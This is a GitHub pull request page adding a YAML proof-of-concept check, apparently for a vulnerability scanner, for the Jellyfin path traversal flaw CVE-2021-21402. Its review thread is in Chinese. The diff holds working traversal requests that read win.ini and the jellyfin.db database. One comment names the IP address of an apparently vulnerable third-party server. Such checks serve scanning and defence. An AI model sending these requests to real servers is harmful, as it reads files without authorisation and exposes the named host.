Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jellyfin-cve-2021-21402 #1206

Closed
wants to merge 8 commits into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions pocs/jellyfin-cve-2021-21402.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
name: poc-yaml-jellyfin-cve-2021-21402
groups:
Windows:
- method: GET
path: /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
follow_redirects: false
expression: |
response.status==200 && response.body.bcontains(b"extensions") && response.body.bcontains(b"files")
Linux:
- method: GET
path: /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
Copy link
Collaborator

@smile-jpg smile-jpg Apr 30, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

windows 上有没有 jellyfin.db 这个文件,如果有,是不是可以考虑合并为一个请求

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Windows确实存在jellyfin.db这个文件,但是部分Windows系统jellyfin.db文件过大,导致读取jellyfin.db文件失败。此时配合读取win.ini文件才能验证漏洞成功。例如:http://5.160.4.147:1554/,该url读取jellyfin.db失败,但是读取win.ini成功

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

如果单纯考虑jellyfin.db文件,可能造成部分Windows系统漏洞验证不成功

Copy link
Collaborator

@smile-jpg smile-jpg May 7, 2021

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

那建议不读 jellyfin.db,换一个Linux和Windows都能读的文件,合并为一个请求,这样在批量扫描的时候可以少发很多请求,加快扫描速度。

follow_redirects: false
expression: |
response.status==200 && response.body.bcontains(b"SQLite")
detail:
author: Print1n
links:
- https://www.cnblogs.com/micr067/p/14639162.html